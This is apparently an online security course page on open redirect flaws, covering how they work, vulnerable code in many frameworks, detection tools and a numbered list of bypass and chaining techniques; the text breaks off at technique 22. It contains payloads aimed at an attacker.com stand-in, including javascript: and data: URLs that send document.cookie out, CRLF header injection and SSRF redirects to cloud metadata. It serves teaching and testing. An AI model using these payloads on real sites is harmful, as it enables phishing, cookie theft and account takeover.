Client-SideEasyClient-Side

Open Redirect

A complete guide to understanding, detecting, exploiting, and preventing Open Redirect vulnerabilities.

Take Exam

Step 1 of 2Introduction0% Complete

Introduction

Open Redirect

The Complete ANAS EDUCATION Course (Beginner Edition)

"A redirect is the server's decision about where to send a user next. An open redirect is when that decision is handed to whoever sent the link."

1. Introduction

Imagine you open your PC and visit `anastech.com`.

You click "Login". The browser opens:

text
https://anastech.com/login

You type your email and password. You click "Submit". After a second, the page changes. The URL bar now shows:

text
https://anastech.com/dashboard

You are logged in. You see your dashboard.

What just happened behind the scenes? Walk through it slowly.

  • Your browser sent the username and password to the server.
  • The server checked your credentials. They matched.
  • The server replied with an HTTP response that contains a special header: `Location: /dashboard`.
  • The browser saw that header and automatically opened the new URL.

That action ==> "the server tells the browser where to go next" ==> is called a redirect.

Now, here is something many login pages also do. They want to be nice to users who tried to visit a page before logging in. For example, if you tried to open `/transfers` but were not logged in, the site bounces you to `/login?next=/transfers`. After login, it sends you to `/transfers` instead of `/dashboard`.

The URL in your browser becomes:

text
https://anastech.com/login?next=/transfers

The server reads that `next=/transfers` and uses it to know where to send you. Convenient.

But what if that `next` parameter is not just `/transfers`? What if someone changes it to:

text
https://anastech.com/login?next=https://attacker.com

If the server does not check, it will happily redirect you to `attacker.com` right after login. You will see the address bar change. The padlock disappears. But many users will not notice. The `attacker.com` page can be designed to look exactly like the login page, telling you "session expired, please log in again". You type your password. It is sent to the attacker.

That is the Open Redirect vulnerability. It is what happens when a feature that was supposed to take you to a safe page on the same site takes you wherever the URL says.

This course teaches that idea slowly and completely. By the end you will know:

  • How a normal redirect works step by step.
  • Where the danger lives.
  • How attackers find and use the bug.
  • Why it is more dangerous than it sounds, especially with OAuth.
  • How developers should block it.

You do not need to be an expert. You just need to read carefully.

2. How It Works

To find this bug, you first need to understand redirects in detail.

Step 1. What a redirect actually is

A redirect is an HTTP response that tells the browser "this is not the answer; go look at a different URL". The most common form is:

text
HTTP/1.1 302 Found
Location: /dashboard

When the browser sees this:

  • Status code starts with `3` (301, 302, 303, 307, 308 are all redirects).
  • The `Location` header gives the new URL.
  • The browser makes a new request to that URL.
  • The address bar updates to the new URL.

That is all. There is no warning. No popup. No "are you sure?". The browser just goes.

Step 2. Three ways a server can redirect you

A web app can perform a redirect in three different ways. All three behave the same from the user's perspective.

Way 1: HTTP `Location:` header.

text
HTTP/1.1 302 Found
Location: https://anastech.com/dashboard

The browser follows automatically.

Way 2: HTML meta refresh.

html
<meta http-equiv="refresh" content="0;url=https://anastech.com/dashboard">

After 0 seconds, the browser opens the URL in the `url=` part.

Way 3: JavaScript navigation.

html
<script>
window.location = "https://anastech.com/dashboard";
</script>

The browser runs the JavaScript, which sets the location.

All three are valid redirects. All three can be abused if the destination is attacker-controlled.

Step 3. Where the destination comes from

There are two big possibilities:

  • The destination is hard-coded by the developer. Safe.
  • The destination is taken from user input (URL parameter, header, body, cookie). Possibly dangerous.

Look at the code on the server:

python
# Safe: destination is fixed
return redirect("/dashboard")

# Safe: destination is checked against an allowlist
if next_url in {"/dashboard", "/profile", "/transfers"}:
    return redirect(next_url)

# Dangerous: destination is whatever the URL says
return redirect(request.args.get("next"))

The third version is the canonical open redirect.

Step 4. Walking through a vulnerable redirect

Imagine the URL the user clicks is:

text
https://anastech.com/login?next=https://attacker.com

Here is what happens, step by step:

  • The browser sends `GET /login?next=https://attacker.com HTTP/1.1` to anastech.com.
  • The login page renders. The user types email and password.
  • The browser sends `POST /login HTTP/1.1` with the credentials.
  • The server validates. The credentials are correct.
  • The server reads the `next` parameter from the previous URL. The value is `https://attacker.com`.
  • The server has no validation. It writes the value into the response:
text
HTTP/1.1 302 Found
Location: https://attacker.com
  • The browser sees the `Location` header. It opens `https://attacker.com`.
  • The user is now on the attacker's site, but believes they are still on anastech.com because they just logged in successfully.

The attacker's site shows a fake "session expired" page. The user re-types their password. The attacker logs it.

text
┌─────────────────────────────────────────────────────────────────┐
│                  THE VULNERABLE REDIRECT                        │
└─────────────────────────────────────────────────────────────────┘

  User clicks link:
  https://anastech.com/login?next=https://attacker.com

           │
           ▼
  ┌─────────────────────────────┐
  │  Browser opens login page   │
  │  (looks legitimate, HTTPS)  │
  └──────────────┬──────────────┘
                 │
                 ▼
  ┌─────────────────────────────┐
  │  User types real password   │
  └──────────────┬──────────────┘
                 │
                 ▼
  ┌─────────────────────────────┐
  │  Server validates           │
  │  reads next=https://attacker│
  │  sends Location header      │
  └──────────────┬──────────────┘
                 │
                 ▼
  ┌─────────────────────────────┐
  │  Browser GOES to attacker   │
  │  Address bar changes        │
  └──────────────┬──────────────┘
                 │
                 ▼
  ┌─────────────────────────────┐
  │  Fake "session expired"     │
  │  page asks for password     │
  │  again ==> phished          │
  └─────────────────────────────┘

Step 5. Why it is worse than it looks

A normal Open Redirect on its own is "just" a phishing tool. The user types their password on the attacker's page. That is bad, but limited.

The big damage starts when the redirect lives inside an OAuth or SAML flow. In those flows, the redirect carries a token, an authorization code, or both. If the redirect can be steered to an attacker server, the token is leaked. With the token, the attacker logs in as the victim. This is full account takeover.

That escalation is covered in detail in Section 11 (Exploitation, technique 13).

3. Attack Flow

The attacker follows a careful sequence. Read each step in order.

Step 1. Find every URL that takes a redirect-shaped parameter

Walk the site. Look at every URL the browser visits, especially after clicking these buttons:

text
[ ] Login
[ ] Logout
[ ] Sign up
[ ] Password reset
[ ] Email confirmation
[ ] Connect with Google / GitHub / etc (OAuth)
[ ] Click on a tracking link from an email
[ ] Checkout success
[ ] Mobile deep link bridge
[ ] Vanity / short URL

For each one, look at the URL parameters. Watch for names like:

text
next     url        redirect    redirect_uri    returnTo
return   return_to  return_url  target          to
dest     destination continue   callback        cb
path     r          u           from            origin

These are the names that historically hold the redirect destination.

Step 2. Send a clean external URL

For each candidate, change the parameter value to:

text
https://attacker.com/

Send the request. Watch the response. There are three outcomes:

  • Server replies with `Location: https://attacker.com/` ==> OPEN REDIRECT CONFIRMED.
  • Server replies with `400 Bad Request` or "external URLs not allowed" ==> there is a filter. Go to Step 3.
  • Server ignores the parameter and redirects to `/dashboard` ==> the parameter is not the redirect controller. Move on.

Step 3. If filtered, try the bypass ladder

The most common filters and their bypasses, in order:

text
Filter checks               Bypass to try
─────────────               ─────────────
"must start with /"         //attacker.com           (protocol-relative)
                            /\attacker.com           (backslash trick)
                            \/attacker.com

"contains anasbank.com"     https://anasbank.com@attacker.com    (@ userinfo)
                            https://anasbank.com.attacker.com    (subdomain)
                            https://attacker.com?anasbank.com    (query)
                            https://attacker.com#anasbank.com    (fragment)
                            https://attacker.com/anasbank.com    (path)

URL-decoded then checked    %2f%2fattacker.com
                            %252f%252fattacker.com   (double-encoded)

Parses host                 IDN/Punycode homograph
                            CRLF injection

Step 4. Confirm in a real browser

Some redirects only fire on specific status codes (303 vs 302), specific methods (POST vs GET), or with specific cookies. Use a real browser to be sure the redirect navigates the user. Open the URL. Watch the address bar change.

Step 5. Chain it (if possible)

A plain Open Redirect is medium-severity at best. The big payouts come from chains:

  • OAuth chain. Bend `redirect_uri` to leak the authorization code. Becomes account takeover.
  • SAML chain. Bend `RelayState` to leak the SAML assertion.
  • XSS chain. Use `javascript:` URL to execute script in the target origin.
  • SSRF chain. When a server-side fetcher follows redirects, point it at internal addresses.
  • Token theft via Referer. When a password-reset link redirects to attacker, the Referer header leaks the reset token.

Step 6. Document and report

text
[TIMELINE]
=> Step 1: identified parameter `next` on /login
=> Step 2: tested ?next=https://attacker.com ==> 302 to attacker.com
=> Step 3: confirmed in Chrome and Firefox
=> Step 4: built OAuth chain ==> leaked authorization code
=> Step 5: exchanged code for access token ==> logged in as victim
=> Severity: Critical (Account Takeover)

Each open-redirect engagement follows this exact heartbeat.

4. Why Developers Make This Mistake

The developer who wrote this:

python
return redirect(request.args.get("next"))

was thinking:

  • "After login, the user should land on the page they tried to reach."
  • "I read the `next` parameter from the URL. That is where they wanted to go."
  • "Redirects are safe. The browser just goes to the URL."

Each of those three thoughts has a hidden flaw. The reasons:

  • "The user wanted to go there." The user did not type the parameter. The link did. If the link came from a phishing email, the destination is the attacker's choice, not the user's.
  • "I read the URL parameter." A URL parameter is user-controlled input. It must be validated. Reading it does not validate it.
  • "Redirects are safe." Redirects are mechanically safe (the browser just changes location). The danger is contextual: the new URL might be a fake login page, an OAuth code leaker, or a `javascript:` URL.

The deeper reason behind the mistake: developers think about the feature (user returns to the page they came from), attackers think about the side effect (this is a free phishing primitive on our trusted domain).

Other common misconceptions:

  • "Browsers warn users when the domain changes." False. They do not.
  • "Only URLs starting with / are local." False. `//attacker.com` is protocol-relative and goes to attacker.com.
  • "I check that the URL starts with /." Insufficient. `/\attacker.com` decodes after the check.
  • "I check that the URL contains anastech.com." Insufficient. `https://anastech.com.attacker.com` contains it but is not it.
  • "Browser auto-fill will warn." False. Users type passwords on phishing pages every day.

It is not a single coding error. It is a mental model bug about whose decision the destination really is.

5. Beginner Summary

  • An open redirect happens when a website sends the user to a URL chosen by an attacker, because the destination came from a URL parameter and was not checked.
  • The simplest test is `?next=https://attacker.com` ==> if the server actually goes to attacker.com, the bug is there.
  • The damage is usually phishing, but in OAuth, SAML, and SSO flows it becomes full account takeover.
  • Developers usually try to block external URLs but miss bypasses like `//attacker.com`, `https://anastech.com@attacker.com`, `https://anastech.com.attacker.com`, or `javascript:` URLs.
  • The fix: hard-code internal destinations, use an allowlist of allowed keys, validate the host (not the substring), and reject every non-http(s) scheme.

If you remember those five lines, you have the whole concept.

6. Visual Explanation

The safe pattern

text
┌──────────────────┐      ┌────────────────────┐      ┌─────────────────────┐
│ User logs in     │─────►│ Server reads next= │─────►│ Validates against   │
│ ?next=/profile   │      │ from URL           │      │ ALLOWLIST           │
└──────────────────┘      └────────────────────┘      │ {/profile,/orders}  │
                                                      └──────────┬──────────┘
                                                                 │ OK
                                                                 ▼
                                                      ┌──────────────────────┐
                                                      │ redirect("/profile") │
                                                      └──────────────────────┘

The vulnerable pattern

text
┌──────────────────┐      ┌────────────────────┐      ┌─────────────────────┐
│ User logs in     │─────►│ Server reads next= │─────►│ redirect(next_value)│
│ ?next=https://   │      │ from URL           │      │ NO VALIDATION       │
│  attacker.com    │      └────────────────────┘      └──────────┬──────────┘
└──────────────────┘                                             │
                                                                 ▼
                                                      ┌──────────────────────┐
                                                      │ Browser goes to      │
                                                      │ https://attacker.com │
                                                      └──────────────────────┘

The OAuth chain pattern

text
                  ┌─────────────────────┐
                  │ Attacker sends URL  │
                  │ to victim with      │
                  │ malicious redirect  │
                  └──────────┬──────────┘
                             │
                             ▼
                  ┌─────────────────────┐
                  │ Victim clicks       │
                  └──────────┬──────────┘
                             │
                             ▼
                  ┌─────────────────────┐
                  │ Login at AnasBank   │
                  │ via OAuth provider  │
                  └──────────┬──────────┘
                             │
                             ▼
                  ┌─────────────────────┐
                  │ OAuth provider      │
                  │ redirects to        │
                  │ AnasBank callback   │
                  │ with code=XXX       │
                  └──────────┬──────────┘
                             │
                             ▼
                  ┌─────────────────────┐
                  │ AnasBank callback   │
                  │ does open redirect  │
                  │ ?returnTo=attacker  │
                  └──────────┬──────────┘
                             │
                             ▼
                  ┌─────────────────────┐
                  │ attacker.com logs   │
                  │ the code (in URL or │
                  │ Referer header)     │
                  └──────────┬──────────┘
                             │
                             ▼
                  ┌─────────────────────┐
                  │ Attacker exchanges  │
                  │ code for token      │
                  │ ==> ATO             │
                  └─────────────────────┘

The bypass ladder

text
                ┌────────────────────────┐
                │ Naive Open Redirect    │
                │ ?next=https://atk.com  │
                └───────────┬────────────┘
                            │
                            ▼
                ┌────────────────────────┐
                │ Filter:                │
                │ "must start with /"    │
                └───────────┬────────────┘
                            │
            ┌───────────────┴───────────────┐
            ▼                               ▼
        //atk.com                      /\atk.com
        (protocol-relative)            (back-slash)
            │                               │
            └───────────────┬───────────────┘
                            ▼
                ┌────────────────────────┐
                │ Filter:                │
                │ "must contain          │
                │  anastech.com"         │
                └───────────┬────────────┘
                            │
        ┌───────────────────┼───────────────────┐
        ▼                   ▼                   ▼
   https://             https://             https://
   anastech.com         atk.com/?            anastech.com
   @atk.com             anastech.com         .atk.com
        │                   │                   │
        └───────────────────┴───────────────────┘
                            ▼
                ┌────────────────────────┐
                │ Filter:                │
                │ "parse and compare     │
                │  host"                 │
                └───────────┬────────────┘
                            │
        ┌───────────────────┼───────────────────┐
        ▼                   ▼                   ▼
   IDN/Punycode         CRLF injection      Parser disagreement
   xn--atk-...          \r\n in path        proxy vs framework

Read those four diagrams. They are the whole bug class.

7. Definition

Technical definition. Open Redirect is a vulnerability in which a web application performs a redirect (HTTP `Location`, meta refresh, or JavaScript navigation) to a destination derived from user-controlled input without sufficient validation, allowing an attacker to craft URLs that redirect victims to arbitrary domains. When chained with authentication flows it frequently escalates to authorization code theft and account takeover. Tracked under CWE-601 (URL Redirection to Untrusted Site).

Beginner-friendly definition. An open redirect is when a website sends you to a link of someone else's choice, just because someone put it in a URL parameter.

Why it matters. Open Redirect is the swiss-army primitive of modern web hacking. On its own it powers phishing campaigns that bypass mail filters because the link starts with a trusted domain. Chained with OAuth or SAML it becomes account takeover (CVE-2024-52289 Authentik, CVE-2023-6927 Keycloak). Chained with reflected XSS it becomes stored or persistent XSS. Chained with SSRF it becomes internal network reconnaissance. Recent critical incidents include CVE-2025-4123 (Grafana open redirect chained to stored XSS and SSRF), CVE-2025-69725 (go-chi RedirectSlashes), CVE-2024-52289 (Authentik), CVE-2023-22797 (Rails Action Pack), and CVE-2023-6927 (Keycloak).

Common affected systems.

  • Login flows that remember "where you came from"
  • Logout flows that take a `?return=` URL
  • Password reset emails with a callback URL
  • Email confirmation links with a destination parameter
  • OAuth authorize and callback endpoints (`redirect_uri`)
  • SAML AssertionConsumerServiceURL and RelayState
  • Single Sign-On (SSO) idP-initiated flows
  • Checkout pages with `success_url` and `cancel_url`
  • Marketing tracking redirects (`/r/?url=...`, `/go?to=...`)
  • CMS short-link / vanity-URL handlers
  • Mobile-app deep links and universal links
  • Email click trackers

If a feature lets a user provide a URL that becomes part of a redirect decision, Open Redirect may live there.

8. Examples

Five realistic scenarios. Each is a small walkthrough, no characters.

Example 1. Plain Login Return URL

The feature. A bank's login page accepts a `?next=` parameter and redirects to it after authentication.

python
@app.post("/login")
def login():
    if authenticate(...):
        return redirect(request.args.get("next", "/dashboard"))

The bug. No validation on `next`. Any URL works.

The attack step by step.

  • The attacker crafts a phishing email containing:
text
https://anasbank.com/login?next=https://anasbank-secure-confirm.attacker.com/
  • Mail filters trust the link because it starts with the legitimate bank.
  • The user clicks. The browser opens the real bank login page.
  • The user types real credentials. Login succeeds.
  • The bank reads `next` and sends a `Location` header to the attacker.
  • The browser opens the attacker's page, which looks like a "confirm your card details" follow-up.
  • The user fills in PAN, CVV, PIN. The attacker logs them.

Example 2. Logout Redirect

The feature. A social app lets third-party integrations log users out and send them to a follow-up page.

javascript
app.get('/logout', (req,res) => {
    req.session.destroy();
    res.redirect(req.query.returnTo);
});

The bug. `returnTo` is the redirect with no validation.

The attack step by step.

  • The attacker posts a link in a public forum:
text
https://anassocial.com/logout?returnTo=https://anassocial-recovery.attacker.com/
  • Any user who clicks gets logged out (slightly annoying) and bounced to a clone page that says "Your session expired, please log in again".
  • The clone steals credentials.

Example 3. OAuth `redirect_uri` Bypass

The feature. An identity provider validates OAuth `redirect_uri` by checking that the URL "starts with" the registered callback.

python
def validate(uri, registered):
    return uri.startswith(registered)

The bug. `startswith` is a substring check. Registered: `https://client.com/cb`. Attacker submits: `https://client.com/cb.attacker.com/`. Check passes (the string really does start that way), but the host is `attacker.com`.

The attack step by step.

  • The attacker crafts an authorize URL using the legitimate client's `client_id` and their own redirect target:
text
https://oauth.anasone.com/authorize?
  client_id=legit-app&
  response_type=code&
  redirect_uri=https://client.com/cb.attacker.com/
  • A victim logs in.
  • The authorization code lands on `client.com/cb.attacker.com` (an attacker server).
  • The attacker exchanges the code for an access token.
  • Account takeover.

This is the CVE-2024-52289 (Authentik) pattern.

Example 4. SSRF + Open Redirect Chain

The feature. A document app has an "import from URL" feature that fetches a URL server-side. It has SSRF protection: a regex disallowing internal IPs. It also has a public redirect endpoint at:

text
https://anasdocs.com/r/?to=https://example.com

The bug. The SSRF protection checks the host of the URL it is about to fetch. But the fetcher follows redirects. The public redirect endpoint is open.

The attack step by step.

  • The attacker imports the URL:
text
https://anasdocs.com/r/?to=http://169.254.169.254/latest/meta-data/
  • The SSRF fetcher checks the host: `anasdocs.com`. Check passes.
  • The fetcher requests it.
  • The server responds with `Location: http://169.254.169.254/latest/meta-data/`.
  • The fetcher follows.
  • AWS metadata returns. IAM credentials leak.

Example 5. javascript: URI Chain (Grafana-style)

The feature. A monitoring app uses a public redirect endpoint that decodes a path parameter:

text
https://anastwo.com/public/redirect/{base64-encoded-url}

The bug. The decoder accepts `javascript:` URLs.

The attack step by step.

  • The attacker encodes a payload:
text
javascript:fetch('https://attacker.com/?c='+document.cookie)
  • Base64-encodes and sends:
text
https://anastwo.com/public/redirect/amF2YXNjcmlwdDp...
  • A logged-in user clicks. The redirect uses `window.location =` with the decoded value.
  • Since the page is `https://anastwo.com/`, the JavaScript executes in that origin.
  • Cookie theft. Account takeover.

This mirrors the CVE-2025-4123 Grafana chain.

Each pattern shows up in real disclosed reports. The mechanics never change.

9. Vulnerable Code

Python (Flask) ==> Critical Open Redirect

python
from flask import Flask, request, redirect

app = Flask(__name__)

@app.route("/login")
def login():
    # ... do auth ...
    next_url = request.args.get("next", "/dashboard")
    return redirect(next_url)

What is wrong: `redirect()` accepts an absolute URL. Flask does not validate it. The browser obeys.

Python (Django) ==> Limited but still possible

python
from django.shortcuts import redirect

def login_view(request):
    # ... auth ...
    return redirect(request.GET.get('next', '/'))

Django's `redirect()` calls `HttpResponseRedirect` and accepts external URLs. Use `url_has_allowed_host_and_scheme()` to validate.

Python (FastAPI) ==> Open Redirect

python
from fastapi import FastAPI, Request
from fastapi.responses import RedirectResponse

app = FastAPI()

@app.get("/login")
def login(request: Request):
    next_url = request.query_params.get("next", "/")
    return RedirectResponse(url=next_url)

PHP ==> Critical Open Redirect

php
<?php
$next = $_GET['next'] ?? '/dashboard';
header("Location: " . $next);
exit;
?>

`header("Location: ...")` accepts any URL. Bonus: if `$next` contains `\r\n`, this is also HTTP Response Splitting (CRLF injection).

PHP ==> Insufficient validation

php
<?php
$next = $_GET['redirect_to'] ?? '/';

if (strpos($next, 'http') === 0) {
    if (strpos($next, 'anasbank.com') === false) {
        die('bad redirect');
    }
}
header("Location: " . $next);

`strpos($next, 'anasbank.com') === false` returns false for `https://anasbank.com.attacker.com` (contains the substring but is not the host). Substring check, not host check.

Node.js (Express) ==> Critical Open Redirect

javascript
const express = require('express');
const app = express();

app.get('/login', (req, res) => {
    // ... auth ...
    res.redirect(req.query.next || '/');
});

Node.js (Express) ==> Weak validation

javascript
app.get('/login', (req, res) => {
    const next = req.query.next || '/';
    if (!next.startsWith('/')) return res.status(400).send('bad');
    res.redirect(next);
});

`next.startsWith('/')` blocks absolute URLs but allows `//attacker.com` (protocol-relative) and `/\attacker.com` (backslash trick, browsers normalize to `//attacker.com`).

Java (Spring Boot) ==> Critical Open Redirect

java
@GetMapping("/login")
public String login(@RequestParam("next") String next) {
    return "redirect:" + next;
}

Spring's `redirect:` prefix takes any URL. No validation.

Java (Servlet) ==> Critical Open Redirect

java
@WebServlet("/login")
public class LoginServlet extends HttpServlet {
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
        String next = req.getParameter("next");
        resp.sendRedirect(next != null ? next : "/");
    }
}

Ruby (Rails) ==> Pre-7.0 Open Redirect

ruby
class SessionsController < ApplicationController
  def create
    # ... auth ...
    redirect_to params[:next] || dashboard_path
  end
end

Rails 7.0 introduced `allow_other_host: false` as default. Before 7.0, this was a textbook open redirect. CVE-2023-22797 showed even the new check could be bypassed by carefully crafted URLs.

Ruby (Sinatra) ==> Critical Open Redirect

ruby
get '/login' do
    redirect params['next'] || '/'
end

.NET (ASP.NET Core MVC) ==> Open Redirect

csharp
[HttpGet("/login")]
public IActionResult Login(string next)
{
    // ... auth ...
    return Redirect(next ?? "/");
}

ASP.NET provides `LocalRedirect()` which throws if the URL is not local. Use that.

Go (net/http) ==> Open Redirect

go
func loginHandler(w http.ResponseWriter, r *http.Request) {
    next := r.URL.Query().Get("next")
    if next == "" {
        next = "/dashboard"
    }
    http.Redirect(w, r, next, http.StatusFound)
}

Go (go-chi) ==> CVE-2025-69725

go
r := chi.NewRouter()
r.Use(middleware.RedirectSlashes)

`RedirectSlashes` in versions >= 5.2.2 contained URL normalization that allowed attackers to manipulate the redirect target.

JavaScript (client-side) ==> DOM-based Open Redirect

html
<script>
const params = new URLSearchParams(window.location.search);
window.location = params.get('next') || '/dashboard';
</script>

Anything in `?next=` becomes the destination, including `javascript:` URLs which yield XSS.

Meta Refresh Open Redirect

html
<meta http-equiv="refresh" content="0;url={{ next }}">

Rendered with `next` taken from the query string. Same vulnerability, different mechanism.

The universal pattern across languages

text
1. Read a URL or path from user-controlled input.
2. Optionally apply a weak check (startsWith /, contains domain).
3. Pass the value to the framework's redirect API.
4. Send the response to the browser.
5. Browser obeys.

Step 1, step 2, and step 3 together are where the bug lives.

10. Detection

Detection is the step where you confirm a bug exists. Walk through each test in order.

Step 1. List every redirect-prone endpoint

text
[ ] /login            (login flow)
[ ] /logout           (logout flow)
[ ] /signup           (post-signup redirect)
[ ] /reset            (password reset link click)
[ ] /confirm          (email verification click)
[ ] /oauth/authorize  (OAuth)
[ ] /oauth/callback   (OAuth callback)
[ ] /saml/acs         (SAML)
[ ] /r                (click tracker)
[ ] /go               (click tracker)
[ ] /click            (click tracker)
[ ] /out              (outbound link)
[ ] /short            (vanity URL)
[ ] /u                (short URL)
[ ] /dl               (mobile deep link bridge)
[ ] /checkout/success (e-commerce)

Step 2. List candidate parameters

The top 50 from years of bug bounty hunting:

text
next            url             redirect        redirect_uri    redirect_url
returnTo        return          return_to       return_url      returnUrl
target          to              destination     dest            continue
callback        cb              path            r               u
view            forward         from            origin          src
source          ref             referer         referrer        site
host            page            link            location        loc
go              out             nav             goto            jump
checkout_url    success_url     cancel_url      redir           rd
back            backTo          backUrl         exit            done

Step 3. Probe each candidate in three tiers

text
TIER 1 ==> raw external URL
   ?next=https://attacker.com/
   ?next=http://attacker.com/

TIER 2 ==> common bypasses
   ?next=//attacker.com
   ?next=/\attacker.com
   ?next=https:attacker.com
   ?next=https://anastech.com@attacker.com
   ?next=https://anastech.com.attacker.com
   ?next=https://attacker.com#anastech.com
   ?next=https://attacker.com?anastech.com

TIER 3 ==> deep bypasses
   URL encoding: %2f%2fattacker.com
   Double encoding: %252f%252fattacker.com
   IDN/Punycode: xn--ttacker-...
   javascript: URL (for client-side redirects)
   data: URL

Step 4. Watch four signals on every probe

  • HTTP `Location:` header in the response.
  • HTTP status code (301, 302, 303, 307, 308).
  • Response body if it contains a meta refresh.
  • Response body if it contains a JavaScript navigation.

If the `Location:` header is your external URL, the redirect is open.

Step 5. Confirm in a real browser

Some redirects only fire under certain conditions. Open the URL in Chrome and Firefox. Watch the address bar.

Burp Suite step by step

  • Use Burp Proxy to intercept the original redirect-using request.
  • Send to Repeater. Change one redirect-looking parameter at a time.
  • Use Intruder with the bypass payload list.
  • Use the Reflected Parameters extension to find parameters reflected in `Location:`.
  • Use ParamMiner to discover hidden parameters.

Automated tools

  • OpenRedireX ==> https://github.com/devanshbatham/OpenRedireX ==> Async fuzzer specifically for open redirect.
  • Oralyzer ==> https://github.com/r0075h3ll/Oralyzer ==> Open Redirect scanner with many bypass payloads.
  • Nuclei templates ==> tagged `redirect` ==> hundreds of known open-redirect signatures.
  • kxss by Tom Hudson ==> reflected-parameter discovery often surfaces redirect candidates.
  • ffuf ==> with a parameter wordlist against suspect endpoints.

Quick command:

bash
echo "https://anastech.com/login?next=FUZZ" | openredirex -p payloads.txt -k FUZZ

Indicators of vulnerability

  • An app that "remembers where you came from" after login or logout.
  • Any parameter named `next`, `redirect`, `url`, `return`, `returnTo`, `to`, `dest`, `continue`.
  • An OAuth flow with `redirect_uri=` in the URL.
  • A SAML flow with `RelayState=`.
  • Marketing or email-tracking redirects (`/r?url=...`, `/click?u=...`).
  • Mobile-app deep links that bounce through the web.
  • Responses with a `Location:` header echoing query-string content.
  • Pages with `<meta http-equiv="refresh">` or client-side JavaScript reading `?next=`.

A simple detection script

bash
#!/bin/bash
PARAMS="next url redirect redirect_uri return returnTo to destination dest continue callback path r u from"
PAYLOADS=("https://attacker.com/" "//attacker.com" "/\\attacker.com" "https:attacker.com")

for p in $PARAMS; do
  for pl in "${PAYLOADS[@]}"; do
    echo -n "$p=$pl ==> "
    code=$(curl -s -o /dev/null -w "%{http_code} %{redirect_url}" "https://target/login?$p=$pl")
    echo "$code"
  done
done

If the printed redirect URL is your `attacker.com`, you have a hit.

11. Exploitation

This is where detection becomes impact.

Workflow

text
1. Map every redirect-prone endpoint.
2. Identify candidate parameters.
3. Baseline with a normal value. Confirm it ends up in Location:.
4. Throw the bypass arsenal (Tier 1, 2, 3).
5. Identify which filter is in place from the response patterns.
6. Confirm the redirect actually fires in a real browser.
7. If chainable (OAuth, SAML, SSRF, XSS), build the chain.
8. Document with screenshots and full HTTP traces.

Advanced techniques (numbered 1 to 30)

1. Protocol-relative URL

text
?next=//attacker.com

The browser inherits the current scheme (HTTPS) and goes to `attacker.com`. Filters that check `startsWith("/")` pass it because the first character is `/`.

2. Backslash trick

text
?next=/\attacker.com
?next=\/attacker.com
?next=\\attacker.com

Filters that check `startsWith("/")` pass `/\`. Browsers normalize `\` to `/`, so `/\attacker.com` becomes `//attacker.com` and goes to `attacker.com`.

3. Userinfo (@) trick

text
?next=https://anastech.com@attacker.com

To a substring check, the URL contains `anastech.com`. But in URL syntax, the part before `@` is the userinfo, and the host is everything after `@`. The browser goes to `attacker.com`.

4. Subdomain confusion

text
?next=https://anastech.com.attacker.com/

`anastech.com.attacker.com` is a subdomain of `attacker.com`. Substring checks miss this. Host-suffix checks miss it unless implemented as `endsWith(".anastech.com")` with a leading dot.

5. Fragment and query confusion

text
?next=https://attacker.com#anastech.com
?next=https://attacker.com?anastech.com
?next=https://attacker.com%23anastech.com

Substring checks see `anastech.com`. The browser ignores it (fragment is client-side only).

6. URL encoding bypass

text
?next=%2f%2fattacker.com              ==> //attacker.com
?next=%5c%5cattacker.com              ==> \\attacker.com
?next=https%3a%2f%2fattacker.com

If the filter checks the encoded string but the redirect decodes first, the bypass works.

7. Double URL encoding

text
?next=%252f%252fattacker.com          ==> after two decodes: //attacker.com

8. Overlong UTF-8

text
?next=%c0%2fattacker.com
?next=%e0%80%2fattacker.com

Some legacy parsers accept overlong UTF-8 encodings of `/`.

9. IDN / Punycode homograph

Register `xn--anstch-...` (Cyrillic `а` instead of Latin `a`). Substring filters comparing to `anastech.com` (ASCII) miss it. Browsers render the homograph. Semrush paid a bounty for exactly this pattern.

10. javascript: URI

For client-side and meta-refresh redirects:

text
?next=javascript:alert(document.cookie)
?next=javascript:fetch('//attacker.com/'+document.cookie)

The browser evaluates `javascript:` URLs in the current origin. Open Redirect becomes XSS.

11. data: URI

text
?next=data:text/html,<script>fetch('//attacker.com/'+document.cookie)</script>

Same idea, different scheme. Modern browsers limit `data:` URI top-level navigation, but it still works in some contexts.

12. CRLF injection in Location

text
?next=/foo%0d%0aLocation:%20https://attacker.com
?next=/%0d%0aSet-Cookie:%20sid=hijacked

If the framework concatenates input into the `Location:` header without sanitizing CR/LF, the attacker can inject additional headers.

13. OAuth redirect_uri bypass chain

The crown jewel. If the OAuth provider validates with `startsWith` or regex with unescaped dots:

text
Registered:  https://client.com/cb
Attacker:    https://client.com/cb.attacker.com/
             https://client.com/cb@attacker.com/
             https://client.com/cb/../../@attacker.com
             https://client.com/cb%2F..%2F..%2Fattacker.com
             https://client.com.attacker.com/cb

If the registered URL has wildcards (Keycloak supports `*`):

text
Registered:  https://client.com/*
Attacker:    https://client.com.attacker.com

CVE-2023-6927 (Keycloak), CVE-2024-52289 (Authentik) are real cases.

14. SAML RelayState abuse

text
RelayState=https://attacker.com/

After a successful SAML SSO, the SP redirects to the value of RelayState. Many SPs do not validate it.

15. Host header injection to Open Redirect

Frameworks that derive redirect URLs from the `Host` header:

text
GET /login HTTP/1.1
Host: attacker.com

The response contains:

text
Location: https://attacker.com/dashboard

16. Referer leak chain for token theft

When the redirect goes to attacker.com with a sensitive token in the URL:

  • Authorization code in URL after OAuth redirect.
  • Password-reset token in URL on a reset flow.
  • CSRF token in URL.

The attacker captures the Referer header from their server logs.

17. IP format tricks

text
?next=http://0x7f000001               ==> hex form of 127.0.0.1
?next=http://2130706433               ==> decimal form of 127.0.0.1
?next=http://127.1                     ==> shortened
?next=http://0177.0.0.1                ==> octal
?next=http://[::1]                     ==> IPv6 loopback
?next=http://localtest.me              ==> DNS to 127.0.0.1

18. Path traversal in redirect target

text
?next=/../../etc/something
?next=/admin/../../../etc/passwd

19. Open Redirect to SSRF bypass

If an SSRF fetcher checks host before fetch but follows redirects:

text
?to=https://anasdocs.com/r?url=http://169.254.169.254/

The fetcher checks `anasdocs.com` ==> passes. Follows the redirect. SSRF.

20. Open Redirect to XSS via javascript:

Covered in technique 10. The most common chain. Counts as critical because it gives the attacker JavaScript execution in the target origin.

21. Cache poisoning via redirect

If an intermediate cache stores the response of a redirect keyed by URL but the response was generated from an attacker-controlled header:

text
GET /api/profile HTTP/1.1
Host: anasbank.com
X-Forwarded-Host: attacker.com

The cache stores a redirect to `attacker.com` for future users.

22. Mobile deep-link bridges

text
?next=anasbank://attacker-controlled-action

Mobile apps register custom URL schemes. A web-to-app bridge that follows `next=` can launch the app into an attacker-chosen action.

